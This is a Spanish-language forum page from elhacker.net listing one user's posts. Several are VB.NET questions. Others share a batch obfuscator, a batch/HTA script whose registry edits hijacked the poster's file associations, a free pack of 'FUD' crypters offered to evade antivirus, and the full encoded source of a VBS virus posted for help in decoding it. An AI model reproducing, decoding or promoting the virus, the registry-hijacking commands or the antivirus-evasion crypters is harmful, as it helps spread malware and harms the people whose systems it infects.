elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 9 10 11 [12] 13 14 15 16 17
111  Programación / .NET (C#, VB.NET, ASP) / Ayuda. Copiar y pegar texto de un Richtextbox a un textbox en: 28 Noviembre 2017, 21:51 pm
hola. soy yo de nuevo , jeje .  :rolleyes:   . buen me he encontrado con un problema.

bueno como dice el titulo , quiero copiar un texto de un Richtextbox y pegarlo a un textbox , bueno hasta hay es facil , pero cunado se copia al textbox no se conservan los saltos de linea . ya he intentado con vbnewline pero la verdad no se como hacerlo.

bueno tengo este codigo para copiar:

Código
  1. Clipboard.SetText(RichTextBox1.Text)

y este para pegar :

Código
  1. If Clipboard.GetDataObject().GetDataPresent(DataFormats.Text) = True Then
  2.             If TextBox1.SelectionLength > 0 Then
  3.                 If MessageBox.Show("Do you want to paste over current selection?", _
  4.                     "Cut Example", MessageBoxButtons.YesNo) = DialogResult.No Then
  5.                     TextBox2.SelectionStart = TextBox2.SelectionStart + _
  6.                         TextBox2.SelectionLength
  7.                 End If
  8.             End If
  9.             TextBox2.Paste()
  10.         End If

el problema es que cuando pego el texto al Textbox no se conservan los saltos de linea y se pone todas la palabras pegadas . nesesito ayuda con ese problemilla .  ;D

Gracias de antemano.  ;D
112  Informática / Software / Batch IDE v1.0 en: 27 Noviembre 2017, 01:37 am
hola a todos , bueno . la verdad no me decido a ver donde es que debería situar este tema. asi que decidí ubicarlo aquí . si algún moderador ve este tema, le pido que si me lo pude ubicar bien .

bueno como dice el titulo es una herramienta , que sirve para la programacion en batch. y posee múltiples funciones, por ejemplo de ofuscamiento.

bueno he aquí el link:

https://mega.nz/#!FlMyWCgD!iPKLcUcGJz4chIqZ6aLgXhJ4nBDonjCuwSLVuEIbP_M

y aqui dejo ejemplos:

batch sin ofuscar:

Código
  1. @echo off
  2. echo/
  3. echo hola mundo
  4. echo/
  5. pause


Batch ofuscado con el metodo 1:

Código
  1. @echo off
  2. set mevexdh=a
  3. set roanyli=b
  4. set ahctspg=c
  5. set jjmjyua=d
  6. set vxbqovb=e
  7. set weirsgp=f
  8. set trzujwk=g
  9. set ovnuyow=h
  10. set fjspulb=i
  11. set cmbjzab=j
  12. set uejreve=k
  13. set ckbbcaj=l
  14. set xxwketq=m
  15. set rxhwlmd=n
  16. set dtikdmo=o
  17. set rrzvvla=p
  18. set xopassv=q
  19. set nlcfapu=r
  20. set obqqqbd=s
  21. set vlqthhs=t
  22. set zxreuqe=u
  23. set sbkktkc=v
  24. set hlmrhih=w
  25. set bxreibp=x
  26. set jiidagd=y
  27. set yjdbben=z
  28. @%vxbqovb%%ahctspg%%ovnuyow%%dtikdmo% %dtikdmo%%weirsgp%%weirsgp%
  29. %vxbqovb%%ahctspg%%ovnuyow%%dtikdmo%/
  30. %vxbqovb%%ahctspg%%ovnuyow%%dtikdmo% %ovnuyow%%dtikdmo%%ckbbcaj%%mevexdh% %xxwketq%%zxreuqe%%rxhwlmd%%jjmjyua%%dtikdmo%
  31. %vxbqovb%%ahctspg%%ovnuyow%%dtikdmo%/
  32. %rrzvvla%%mevexdh%%zxreuqe%%obqqqbd%%vxbqovb%


Batch ofuscado con metodo 2:
Código
  1. %leqcebs%@%khuqzog%e%ecgmmij%c%wkhlecr%h%utpvdsc%o%gyxshsj% %etzcaho%o%mnxlfnx%f%mlcjfac%f%eijievp%
  2. %gcbgcgx%e%rdgqyif%c%fvykxhg%h%juktepm%o%qnrfiww%/%ewcquvc%
  3. %gijhrga%e%xjyzicy%c%ibwasdl%h%thjdgge%o%pyhaqxk% %tabcqgb%h%jspqfdq%o%pudmvjw%l%afpgemy%a%qknrnii% %lbruhba%m%naiizmr%u%zaqpkmo%n%wwocode%d%vnhtnrz%o%ateiwyp%
  4. %bnbmeli%e%klcjspr%c%nbmoxzo%h%pelwikr%o%dsvxojh%/%gcflatt%
  5. %nseelyt%p%lrffxni%a%vkilrrh%u%dmsbwwa%s%pahinxc%e

Batch ofuscado con metodo 3:

Código
  1. ਍汣൳䀊捥潨漠晦਍捥潨യ攊档潨慬洠湵潤਍捥潨യ瀊畡敳

BUeno ahora una imagene:


Porfavor comenten cualquier cosa.  ;D
113  Programación / .NET (C#, VB.NET, ASP) / Ayuda, buscar y resaltar la palabras de un RichTextBox en: 26 Noviembre 2017, 20:30 pm
bueno como dice el titulo quiero buscar y resaltar una palabra de un RichTextBox1.


este método solo marca la 1era palabra encontrada. y las otras palabras que son las mismas no la subraya.

ejemplo le digo que busque todas las palabras hola , pero solo me marca la primera encontrada y las demás no mas marca.


Código
  1.  Dim Search, Where
  2.  
  3.         Search = TextBox1.Text
  4.         Where = InStr(RichTextBox1.Text, Search)
  5.         Dim n As Integer
  6.         If Where Then
  7.             Name = n + 1
  8.             RichTextBox1.Focus()
  9.             RichTextBox1.SelectionStart = Where - 1
  10.             RichTextBox1.SelectionLength = Len(Search)
  11.         Else
  12.             MsgBox("String not found.")
  13.         End If

Gracias de antemano.
114  Seguridad Informática / Análisis y Diseño de Malware / Los ejuecutables (.exe , .msi) me salen como aplicaciones html (.hta) en: 16 Noviembre 2017, 15:35 pm
hola, como dice el titulo no puedo abrir ni el administrador de tareas ya que ahora todos los .exe el windows los lee como .hta y los abre asi:



AQUI DEJO UNA FOTO DE CUANDO REINICIE LA PC:



no solo los .exe tambien los .bat.  :(

todo paso cuando copile un batch y lo abri :

el batch es este bueo no es del todo batch mas bien es una aplicacion html dentro de un batch:

Código
  1. @goto :batch
  2. <html><!--
  3. :batch
  4. @echo off
  5. if /I "%1"=="{AddText}" goto :addtext
  6. if /I "%1"=="{GetText}" goto :gettext
  7. if /I "%1"=="{StripChars}" goto :StripChars
  8. mode con: cols=31 lines=5
  9. title [%~n0]
  10. color 0a
  11. echo.
  12. echo.
  13. echo.          loading ...
  14. reg add HKCU\Software\Classes\%~x0 /d "htafile" /f >nul
  15. start "" mshta.exe "%~dpnx0"
  16. exit
  17. :addtext
  18. for /f "tokens=*" %%A in ('echo.%2') do set "filedir=%%~dpA" & set "filename=%%~nxA"
  19. copy /y %2 "%filedir%\[WithMessage] %filename%" >nul
  20. echo.>>"%filedir%\[WithMessage] %filename%"
  21. echo.>>"%filedir%\[WithMessage] %filename%"
  22. set "txt=%3"
  23. set "txt=%txt:~1%"
  24. set "txt=%txt:~0,-1%"
  25. echo.:#%txt%>>"%filedir%\[WithMessage] %filename%"
  26. echo.[WithMessage] %filename%
  27. exit
  28. :gettext
  29. set /a "linenum=0+0"
  30. for /f "tokens=*" %%A in ('echo.%2') do for /f "tokens=*" %%B in ('type "%%~dpnxA"') do set "msgline=%%B"
  31. for /f "tokens=1,2 delims=#" %%A in ('echo.%msgline%') do (
  32. if "%%A"==":" (
  33. echo.%%B
  34. ) else (
  35. echo.{nomsg}
  36. )
  37. )
  38. exit
  39. :StripChars
  40. set "txt=%2"
  41. set "txt=%txt:~1%"
  42. echo."%txt:~0,-3%"
  43. exit
  44. -->
  45. <head>
  46. <title>Encrypt Messages Into Image-Files</title>
  47. <HTA:APPLICATION ID="ThisApp"
  48. APPLICATIONNAME="Encrypt Messages Into Image-Files"
  49. scroll="no"
  50. icon=""
  51. showintaskbar="no"
  52. sysmenu="yes"
  53. caption="yes"
  54. maximizebutton="no"
  55. minamizebutton="no"
  56. >
  57. </head>
  58. <script language="VBScript">
  59. sub Window_OnLoad
  60. Ext = split(split(ThisApp.commandline,chr(34))(1),".")(ubound(split(split(ThisApp.commandline,chr(34))(1),".")))
  61. createobject("wscript.shell").run "reg add HKCU\Software\Classes\."&Ext&" /d "&chr(34)&Ext&"file"&chr(34)&" /f",0,true
  62. window.resizeto 670,600
  63. end sub
  64. sub addtxt()
  65. buildtxt = ""
  66. for c = 1 to len(document.all.txtmessage.value)
  67. buildtxt = buildtxt& chr(asc(mid(document.all.txtmessage.value,c,1))+4)
  68. next
  69. buildnewfileandgetname = CommandLine("@call "&chr(34)&split(ThisApp.commandline,chr(34))(1)&chr(34) _
  70. &" {AddText} "&chr(34)&document.all.addmsgto.value&chr(34)&" "&chr(34)&buildtxt&chr(34))
  71. msgbox "The JPG-File was copied and the message was injected into the copy. The copy is in the same folder."
  72. end sub
  73. sub readtxt()
  74. rawtxt = CommandLine("@call "&chr(34)&split(ThisApp.commandline,chr(34))(1)&chr(34) _
  75. &" {GetText} "&chr(34)&document.all.getmsgfrom.value&chr(34))
  76. if NOT rawtxt = "{nomsg}" then
  77. decryptmsg = ""
  78. for c = 1 to len(rawtxt)
  79. decryptmsg = decryptmsg& chr(asc(mid(rawtxt,c,1))-4)
  80. next
  81. decryptmsg = CommandLine("@call "&chr(34)&split(ThisApp.commandline,chr(34))(1)&chr(34) _
  82. &" {StripChars} "&chr(34)&decryptmsg&chr(34))
  83. else
  84. decryptmsg = "no message in this file"
  85. end if
  86. msgbox "Hidden Message: "&decryptmsg,0,"Viewing Hidden Message"
  87. end sub
  88. function CommandLine(cmmd)
  89. set clipboard = createobject("htmlfile")
  90. cliptext = clipboard.ParentWindow.ClipboardData.GetData("text")
  91. createobject("wscript.shell").run chr(34)&"%comspec%"&chr(34)&" /d /c "&cmmd&"|clip",0,true
  92. CommandLine = clipboard.ParentWindow.ClipboardData.GetData("text")
  93. if NOT isnull(cliptext) then clipboard.ParentWindow.ClipboardData.SetData "text",cliptext
  94. end function
  95. </script>
  96. <body bgcolor=black style=border:0px;padding:0px;margin:0px;color:black;font-size:0;font-family:arial ><br/><font color=cyan size=2><center><br/>
  97. <font size=4 face=terminal>
  98. <a style=color:red;text-decoration:none target=_blank href=https://hackforums.net/member.php?action=profile&uid=3089494 >by <u>ImDeepWithWindows</u></a>
  99. </font><br/><br/><hr noshade=noshade style=color:purple;border-color:purple;border-style:solid;padding:0px;margin:0px />
  100. <div align=left>encrypt messages inside JPG image-files</div>
  101. <hr noshade=noshade style=color:purple;border-color:purple;border-style:solid;padding:0px;margin:0px /><center><br/><br/>
  102. <fieldset style=width:60%;border-style:solid;border-color:grey;margin:0px;padding:0px;border-width:4px>
  103. <legend style=color:yellow;margin:0px;padding:0px;border-style:solid;border-color:grey;border-width:4px ><b>Hide Message In JPG File</b></legend>
  104. <br/><br/><br/>Browse For JPG-File:
  105. <input type=file value="Select Image File" name=addmsgto style=display:inline-block;border-color:purple;border-style:solid;background-color:black;color:yellow accept="jpg,image/jpg" />
  106. <br/><br/>Message To Hide: <input type=text name=txtmessage style=border-color:grey;border-style:solid;background-color:black;color:yellow /><br/>
  107. <br/><input type=submit value="Hide Message" style=color:#00ff00;background-color:black;border-color:purple;border-style:solid onclick=addtxt() />
  108. <br/><br/><br/></fieldset><br/><br/><br/><fieldset style=width:60%;border-style:solid;border-color:grey;margin:0px;padding:0px;border-width:4px>
  109. <legend style=color:yellow;margin:0px;padding:0px;border-style:solid;border-color:grey;border-width:4px ><b>Read Hidden Message From JPG File</b></legend>
  110. <br/><br/><br/>Browse For JPG-File:
  111. <input type=file value="Select Image File" name=getmsgfrom style=border-color:purple;border-style:solid;background-color:black;color:yellow accept="jpg" /><br/>
  112. <br/><input type=submit value="Read Hidden Message" style=color:#00ff00;background-color:black;border-color:purple;border-style:solid onclick=readtxt() />
  113. <br/><br/><br/></fieldset>



bueno sospecho que este batch me configuro mediante el registro de windows (regedit) para que todos los .exe y .bat se reconocieran como .hta

por que sospecho esto? sospecho esto por el siguiente codigo:

Código
  1. sub Window_OnLoad
  2. Ext = split(split(ThisApp.commandline,chr(34))(1),".")(ubound(split(split(ThisApp.commandline,chr(34))(1),".")))
  3. createobject("wscript.shell").run "reg add HKCU\Software\Classes\."&Ext&" /d "&chr(34)&Ext&"file"&chr(34)&" /f",0,true
  4. window.resizeto 670,600
  5. end sub



en esa parte que es vbs el code toca el registro , mi sospecha es que hay se cofigura para que lea todos los .exe y .bat como si fueran .hta .

Código
  1. reg add HKCU\Software\Classes\%~x0 /d "htafile" /f >nul

me parece que esa parte del code tambien es lo que me esta jodiendo.

PD: ME IMAGINO QUE LA SOLUCIÓN SERIA UN VBS QUE TAMBIEN EDITE EL REGISTRO VOLVIENDO LOS VALORES COMO ESTABAN ANTES.


GRACIAS DE ANTEMANO

MOD: Imagenes adaptadas a lo permitido.
115  Programación / .NET (C#, VB.NET, ASP) / ayuda en VB.NET en: 13 Noviembre 2017, 15:05 pm
hola a todos.

bueno tengo un pequeño problemilla. tengo el siguiente code:
Código
  1. Const SAFT48kHz16BitStereo = 39
  2. Const SSFMCreateForWrite = 3 
  3. Dim oFileStream, oVoice
  4.  
  5. Set oFileStream = CreateObject("SAPI.SpFileStream")
  6. oFileStream.Format.Type = SAFT48kHz16BitStereo
  7. oFileStream.Open "C:\Work\Sample.wav", SSFMCreateForWrite ' Aqui el directorio que quiero cambiar por un SaveFileDialog1.FileName
  8.  
  9. Set oVoice = CreateObject("SAPI.SpVoice")
  10. Set oVoice.AudioOutputStream = oFileStream
  11. oVoice.Speak(ben.Text, 3)
  12.  
  13. oVoice.WaitUntilDone(10000)
  14.  
  15. oFileStream.Close

y lo que quiero es cambiar ese directorio por un SaveFileDialog1.FileName
y me quedaria algo como esto:

Código
  1. Const SAFT48kHz16BitStereo = 39
  2. Const SSFMCreateForWrite = 3 
  3. SaveFileDialog1.DefaultExt = ".wav"
  4. Dim oFileStream, oVoice
  5.  
  6.  
  7. Set oFileStream = CreateObject("SAPI.SpFileStream")
  8. oFileStream.Format.Type = SAFT48kHz16BitStereo
  9. oFileStream.Open SaveFileDialog1.FileName, SSFMCreateForWrite
  10.  
  11. Set oVoice = CreateObject("SAPI.SpVoice")
  12. Set oVoice.AudioOutputStream = oFileStream
  13. oVoice.Speak "Hello world", 3
  14.  
  15. oVoice.WaitUntilDone(10000)
  16.  
  17. oFileStream.Close

no se si me explique , en pocas palabras lo que quiero es aplicar el SaveFileDialog1.FileName al primer code que puse , pero no logro hacerlo , disculpen mi ignorancia.   

gracias de antemano.  ;D
116  Seguridad Informática / Análisis y Diseño de Malware / Crypters Pack v0.1 . Pack de Encryptadores FUD Gratis . en: 7 Noviembre 2017, 18:09 pm
hola a todos los del foro les traigo Crypters Pack totalmente gratis.  ;-)

me tome la libertad de buscar todos los Crypters y subirlos en un solo exe .

el Programa tiene los siguientes Crypters:

Código:
    2012-Crypter
    Anonymous Joiner
    Assassins Creed Bin
    C-51-Crypter
    Camuflaje-Crypter
    Camuflaje-Simplev1
    Camuflaje-Simplev2
    Cardi Crypter
    ChukyCrypter
    Cold Seal Cracked
    Cruz-Crypter
    CyRuX-Crypter v1
    Cyrux Crypter
    Estrella-Crypter
    Ferrari v1
    Grab link
    InsidiousCrypter
    Islas Malvinas-Crypter
    Kill Zone
    Lito Vitale Crypter
    Machine Fud
    Masters Hackers
    Matatan-Crypter
    Metal Crypter
    Metal_Kingdom-Crypter v1
    Mueran Avs Crypter v1
    Mueran Avs Crypter v2
    PRIVATE M3
    Paz Crypter
    Pedro-Crypter
    Poison123-Crypter
    Poyson Ivy protector
    S.C By M3
    SEXY v1
    Sexy v2
    Sexy v3
    Sexy v4
    Techo negro
    Tesuda
    UD tools
    UDTools-Crypter
    Under M3
    Yeikel-Crypter
    cattyperryCrypter
    chronic
    chucky
    coluche
    conejitacrypter
    crypterdeathnote

Espero que les sirva a los del foro .   ;-)

                            BUENO HE AQUI EL LINK :

Crypters Pack v0.1  (Resubido)



                                                   COMENTEN PORFAVOR
117  Seguridad Informática / Análisis y Diseño de Malware / descifrar virus (.vbs) en: 19 Octubre 2017, 15:59 pm
hola-  ;D
no se como descifrar este vbs , ni siquiera logro ver como lo encriptaron.
alguien me puede explicar como lo encriptaron y explicarme como desencriptarlo?

aquí dejo el virus vbs:

Código
  1. dDssDajcooSLscaC = (("“šžŸKhKMbY˜šššYŽš˜M85›šŸKhKd^b\85”™žŸŒ——”KhKMPŒ››ŒŸŒPM85—™–‘”—KhKŸ 85—™–‘š—KhK‘Œ—ž858585”˜Kž“——š•K85žŸKž“——š•KhK¢žŽ”›ŸYŽŒŸš•ŽŸSM¢žŽ”›ŸYž“——MT85”˜K‘”—ž¤žŸ˜š•85žŸK‘”—ž¤žŸ˜š•KhKŽŒŸš•ŽŸSMžŽ”›Ÿ”™’Y‘”—ž¤žŸ˜š•ŽŸMT85”˜K“ŸŸ›š•85žŸK“ŸŸ›š•KhKŽŒŸš•ŽŸSM˜ž£˜—]Y£˜—“ŸŸ›MT85858585”™žŸŒ——™Œ˜KhK¢žŽ”›ŸYžŽ”›Ÿ™Œ˜85žŸŒŸ ›KhKž“——š•Yž›Ž”Œ—‘š—žKSMžŸŒŸ ›MTKQKM‡M85”™žŸŒ——”KhKž“——š•Y£›Œ™™¡”š™˜™ŸžŸ”™’žS”™žŸŒ——”TKQKM‡M85”‘K™šŸK‘”—ž¤žŸ˜š•Y‘š—£”žŸžS”™žŸŒ——”TKŸ“™KK”™žŸŒ——”KhKž“——š•Y£›Œ™™¡”š™˜™ŸžŸ”™’žSMPŸ˜›PMTKQKM‡M85ž›—”ŸKhKMgMKQKM§MKQKMiM85ž—›KhK`[[[K85”˜Kž›š™ž85”˜KŽ˜85”˜K›ŒŒ˜85”™‘šKhKMM85 žž›Œ”™’KhKMM85žŸŒŸŒŸKhKMM85”˜Kš™š™Ž858585š™KšKž ˜K™£Ÿ858585”™žŸŒ™Ž85¢“”—KŸ 8585”™žŸŒ——8585ž›š™žKhKMM85ž›š™žKhK›šžŸKSM”žXŒ¤MWMMT85Ž˜KhKž›—”ŸKSž›š™žWž›—”ŸT85ž—ŽŸKŽŒžKŽ˜KS[T85ŽŒžKM£ŽŽ ŸM85KKKKKK›ŒŒ˜KhKŽ˜KS\T85KKKKKK£Ž ŸK›ŒŒ˜85ŽŒžKM ›ŒŸM85KKKKKK›ŒŒ˜KhKŽ˜KS\T85KKKKKKš™š™ŽYŽ—šž85KKKKKKžŸKš™š™ŽKhKK‘”—ž¤žŸ˜š•Yš›™Ÿ£Ÿ‘”—KS”™žŸŒ——”KQK”™žŸŒ——™Œ˜KW]WK‘Œ—žT85KKKKKKš™š™ŽY¢”ŸK›ŒŒ˜85KKKKKKš™š™ŽYŽ—šž85KKKKKKž“——š•Y ™KM¢žŽ”›ŸY£KZZmKMKQKŽ“S^_TKQK”™žŸŒ——”KQK”™žŸŒ——™Œ˜KQKŽ“S^_T85KKKKKK¢žŽ”›ŸYœ ”ŸK85ŽŒžKM ™”™žŸŒ——M85KKKKKK ™”™žŸŒ——85ŽŒžKMž™M85KKKKKKš¢™—šŒKŽ˜KS\TWŽ˜KS]T85ŽŒžKMž”ŸXž™M85KKKKKKž”Ÿš¢™—šŒKŽ˜KS\TWŽ˜KS]T85ŽŒžKMŽ¡M85KKKKKK›ŒŒ˜KhKŽ˜KS\T85KKKKKK ›—šŒKS›ŒŒ˜T85ŽŒžKKM™ ˜X”¡M85KKKKKK›šžŸKM”žX™ ˜X”¡MW™ ˜”¡KK85ŽŒžKKM™ ˜X‘Œ‘M85KKKKKK›ŒŒ˜KhKŽ˜KS\T85KKKKKK›šžŸKM”žX™ ˜X‘Œ‘MW™ ˜‘Œ‘KS›ŒŒ˜T85ŽŒžKKM™ ˜X›šŽžžM85KKKKKK›šžŸKM”žX™ ˜X›šŽžžMW™ ˜›šŽžžKKK85ŽŒžKKMŽ˜Xž“——M85KKKKKK›ŒŒ˜KhKŽ˜KS\T85KKKKKK›šžŸKM”žXŽ˜Xž“——MWŽ˜ž“——KS›ŒŒ˜TKK85ŽŒžKKM—ŸM85KKKKKK›ŒŒ˜KhKŽ˜KS\T85KKKKKK—Ÿ‘Œ‘KS›ŒŒ˜TK85ŽŒžKKM£”ŸX›šŽžžM85KKKKKK›ŒŒ˜KhKŽ˜KS\T85KKKKKK£”Ÿ›šŽžžKS›ŒŒ˜TK85ŽŒžKKMž—›M85KKKKKK›ŒŒ˜KhKŽ˜KS\T85KKKKKKž—›KhK¡Œ—KS›ŒŒ˜TKKKKKKKK85™Kž—ŽŸ8585¢žŽ”›ŸYž—›Kž—›8585¢™858585ž K”™žŸŒ——85š™KšKž ˜K™£Ÿ85”˜K—™–š•85”˜K‘”—™Œ˜85”˜K‘š—™Œ˜85”˜K‘”—”Žš™85”˜K‘š—”Žš™8585 ›žŸŒŸ85‘šKŒŽ“K”¡K”™K‘”—ž¤žŸ˜š•Y”¡ž8585”‘KK”¡Y”žŒ¤KhKŸ KŸ“™85”‘KK”¡Y‘ž›ŒŽKKiK[KŸ“™85”‘KK”¡Y”¡Ÿ¤›KKhK\KŸ“™85KKKK‘”—ž¤žŸ˜š•YŽš›¤‘”—K¢žŽ”›ŸYžŽ”›Ÿ‘ ——™Œ˜KWK”¡Y›ŒŸ“KQKM‡MKQK”™žŸŒ——™Œ˜WŸ 85KKKK”‘KK‘”—ž¤žŸ˜š•Y‘”—£”žŸžKS”¡Y›ŒŸ“KQKM‡MKQK”™žŸŒ——™Œ˜TKKŸ“™85KKKKKKKK‘”—ž¤žŸ˜š•Y’Ÿ‘”—S”¡Y›ŒŸ“KQKM‡MKKQK”™žŸŒ——™Œ˜TYŒŸŸ” ŸžKhK]V_85KKKK™K”‘85KKKK‘šKŒŽ“K‘”—K”™K‘”—ž¤žŸ˜š•Y’Ÿ‘š—SK”¡Y›ŒŸ“KQKM‡MKTYq”—ž85KKKKKKKK”‘K™šŸK—™–‘”—KŸ“™K£”ŸK‘š85KKKKKKKK”‘KK”™žŸKS‘”—Y™Œ˜WMYMTKŸ“™85KKKKKKKKKKKK”‘KK—ŽŒžKSž›—”ŸS‘”—Y™Œ˜WKMYMTKS š ™Sž›—”ŸS‘”—Y™Œ˜WKMYMTTTTKgiKM—™–MKŸ“™85KKKKKKKKKKKKKKKK‘”—YŒŸŸ” ŸžKhK]V_85KKKKKKKKKKKKKKKK”‘KK ŽŒžKS‘”—Y™Œ˜TKgiK ŽŒžKS”™žŸŒ——™Œ˜TKŸ“™85KKKKKKKKKKKKKKKKKKKK‘”—™Œ˜KhKž›—”ŸS‘”—Y™Œ˜WMYMT85KKKKKKKKKKKKKKKKKKKKžŸK—™–š•KhKž“——š•YŽŒŸž“šŸŽ ŸKS”¡Y›ŒŸ“KQKM‡MKKQK‘”—™Œ˜KS[TKQKMY—™–MTK85KKKKKKKKKKKKKKKKKKKK—™–š•Y¢”™š¢žŸ¤—KhKb85KKKKKKKKKKKKKKKKKKKK—™–š•YŸŒ’Ÿ›ŒŸ“KhKMŽ˜Y£M85KKKKKKKKKKKKKKKKKKKK—™–š•Y¢š–”™’”ŽŸš¤KhKMM85KKKKKKKKKKKKKKKKKKKK—™–š•YŒ’ ˜™ŸžKhKMZŽKžŸŒŸKMKQK›—ŒŽS‘”—Y™Œ˜WMKMWKŽ“¢S^_TKQKMKMKQKŽ“¢S^_TTKQKMQžŸŒŸKMKQK›—ŒŽS”™žŸŒ——™Œ˜WMKMWKŽ“¢S^_TKQKMKMKQKŽ“¢S^_TTKQMQ£”ŸM85KKKKKKKKKKKKKKKKKKKK‘”—”Žš™KhKž“——š•Y’ŒKSMsvp„ŠwznlwŠxlnstyp‡žš‘Ÿ¢Œ‡Ž—Œžžž‡MKQKž“——š•Y’ŒKSMsvp„ŠwznlwŠxlnstyp‡žš‘Ÿ¢Œ‡Ž—Œžžž‡YMKQKž›—”ŸS‘”—Y™Œ˜WKMYMTS š ™Sž›—”ŸS‘”—Y™Œ˜WKMYMTTTQKM‡MTKQKM‡‘Œ —Ÿ”Žš™‡MTK85KKKKKKKKKKKKKKKKKKKK”‘KK”™žŸKS‘”—”Žš™WMWMTKhK[KŸ“™85KKKKKKKKKKKKKKKKKKKKKKKK—™–š•Y”Žš™—šŽŒŸ”š™KhK‘”—Y›ŒŸ“85KKKKKKKKKKKKKKKKKKKK—žK85KKKKKKKKKKKKKKKKKKKKKKKK—™–š•Y”Žš™—šŽŒŸ”š™KhK‘”—”Žš™85KKKKKKKKKKKKKKKKKKKK™K”‘85KKKKKKKKKKKKKKKKKKKK—™–š•YžŒ¡ST85KKKKKKKKKKKKKKKK™K”‘85KKKKKKKKKKKK™K”‘85KKKKKKKK™K”‘85KKKK™£Ÿ85KKKK‘šKŒŽ“K‘š—K”™K‘”—ž¤žŸ˜š•Y’Ÿ‘š—SK”¡Y›ŒŸ“KQKM‡MKTYž ‘š—ž85KKKKKKKK”‘K™šŸK—™–‘š—KŸ“™K£”ŸK‘š85KKKKKKKK‘š—YŒŸŸ” ŸžKhK]V_85KKKKKKKK‘š—™Œ˜KhK‘š—Y™Œ˜85KKKKKKKKžŸK—™–š•KhKž“——š•YŽŒŸž“šŸŽ ŸKS”¡Y›ŒŸ“KQKM‡MKKQK‘š—™Œ˜KQKMY—™–MTK85KKKKKKKK—™–š•Y¢”™š¢žŸ¤—KhKb85KKKKKKKK—™–š•YŸŒ’Ÿ›ŒŸ“KhKMŽ˜Y£M85KKKKKKKK—™–š•Y¢š–”™’”ŽŸš¤KhKMM85KKKKKKKK—™–š•YŒ’ ˜™ŸžKhKMZŽKžŸŒŸKMKQK›—ŒŽS‘š—Y™Œ˜WMKMWKŽ“¢S^_TKQKMKMKQKŽ“¢S^_TTKQKMQžŸŒŸK£›—šKMKQK›—ŒŽS”™žŸŒ——™Œ˜WMKMWKŽ“¢S^_TKQKMKMKQKŽ“¢S^_TTKQMQ£”ŸM85KKKKKKKK‘š—”Žš™KhKž“——š•Y’ŒKSMsvp„ŠwznlwŠxlnstyp‡žš‘Ÿ¢Œ‡Ž—Œžžž‡‘š—‡‘Œ —Ÿ”Žš™‡MTK85KKKKKKKK”‘KK”™žŸKS‘š—”Žš™WMWMTKhK[KŸ“™85KKKKKKKKKKKK—™–š•Y”Žš™—šŽŒŸ”š™KhK‘š—Y›ŒŸ“85KKKKKKKK—žK85KKKKKKKKKKKK—™–š•Y”Žš™—šŽŒŸ”š™KhK‘š—”Žš™85KKKKKKKK™K”‘85KKKKKKKK—™–š•YžŒ¡ST85KKKK™£Ÿ85™Kt‘85™Kt‘85™K”‘85™£Ÿ85YŽ—Œ85™Kž 8585ž K ™”™žŸŒ——85š™KšKž ˜K™£Ÿ85”˜K‘”—™Œ˜85”˜K‘š—™Œ˜8585ž“——š•Y’—ŸKMsvp„Šn€}}pyŠ€~p}‡žš‘Ÿ¢Œ‡˜”Žšžš‘Ÿ‡¢”™š¢ž‡Ž ™Ÿ¡ž”š™‡ ™‡MKQKž›—”ŸKS”™žŸŒ——™Œ˜WMYMTS[T85ž“——š•Y’—ŸKMsvp„ŠwznlwŠxlnstyp‡žš‘Ÿ¢Œ‡˜”Žšžš‘Ÿ‡¢”™š¢ž‡Ž ™Ÿ¡ž”š™‡ ™‡MKQKž›—”ŸKS”™žŸŒ——™Œ˜WMYMTS[T85‘”—ž¤žŸ˜š•Y—Ÿ‘”—KžŸŒŸ ›KQK”™žŸŒ——™Œ˜KWŸ 85‘”—ž¤žŸ˜š•Y—Ÿ‘”—K¢žŽ”›ŸYžŽ”›Ÿ‘ ——™Œ˜KWŸ 8585‘šKKŒŽ“K”¡K”™K‘”—ž¤žŸ˜š•Y”¡ž85”‘KK”¡Y”žŒ¤KhKŸ KŸ“™85”‘KK”¡Y‘ž›ŒŽKKiK[KŸ“™85”‘KK”¡Y”¡Ÿ¤›KKhK\KŸ“™85KKKK‘šKKŒŽ“K‘”—K”™K‘”—ž¤žŸ˜š•Y’Ÿ‘š—KSK”¡Y›ŒŸ“KQKM‡MTY‘”—ž85KKKKKKKKKš™KšKž ˜K™£Ÿ85KKKKKKKKK”‘KK”™žŸKS‘”—Y™Œ˜WMYMTKŸ“™85KKKKKKKKKKKKK”‘KK—ŽŒžKSž›—”ŸS‘”—Y™Œ˜WKMYMTS š ™Sž›—”ŸS‘”—Y™Œ˜WKMYMTTTTKgiKM—™–MKŸ“™85KKKKKKKKKKKKKKKKK‘”—YŒŸŸ” ŸžKhK[85KKKKKKKKKKKKKKKKK”‘KK ŽŒžKS‘”—Y™Œ˜TKgiK ŽŒžKS”™žŸŒ——™Œ˜TKŸ“™85KKKKKKKKKKKKKKKKKKKKK‘”—™Œ˜KhKž›—”ŸS‘”—Y™Œ˜WMYMT85KKKKKKKKKKKKKKKKKKKKK‘”—ž¤žŸ˜š•Y—Ÿ‘”—KS”¡Y›ŒŸ“KQKM‡MKQK‘”—™Œ˜S[TKQKMY—™–MKT85KKKKKKKKKKKKKKKKK—ž85KKKKKKKKKKKKKKKKKKKKK‘”—ž¤žŸ˜š•Y—Ÿ‘”—KS”¡Y›ŒŸ“KQKM‡MKQK‘”—Y™Œ˜T85KKKKKKKKKKKKKKKKK™Kt‘85KKKKKKKKKKKKK—ž85KKKKKKKKKKKKKKKKK‘”—ž¤žŸ˜š•Y—Ÿ‘”—KS‘”—Y›ŒŸ“TK85KKKKKKKKKKKKK™K”‘85KKKKKKKKK™K”‘85KKKKK™£Ÿ85KKKKK‘šKŒŽ“K‘š—K”™K‘”—ž¤žŸ˜š•Y’Ÿ‘š—SK”¡Y›ŒŸ“KQKM‡MKTYž ‘š—ž85KKKKKKKKK‘š—YŒŸŸ” ŸžKhK[85KKKKK™£Ÿ85™K”‘85™K”‘85™K”‘85™£Ÿ85¢žŽ”›ŸYœ ”Ÿ85™Kž 8585‘ ™ŽŸ”š™K›šžŸKSŽ˜KW›ŒŒ˜T8585›šžŸKhK›ŒŒ˜85“ŸŸ›š•Yš›™KM›šžŸMWM“ŸŸ›eZZMKQK“šžŸKQKMeMKQK›šŸKQMZMKQKŽ˜WK‘Œ—ž85“ŸŸ›š•YžŸœ žŸ“ŒKM 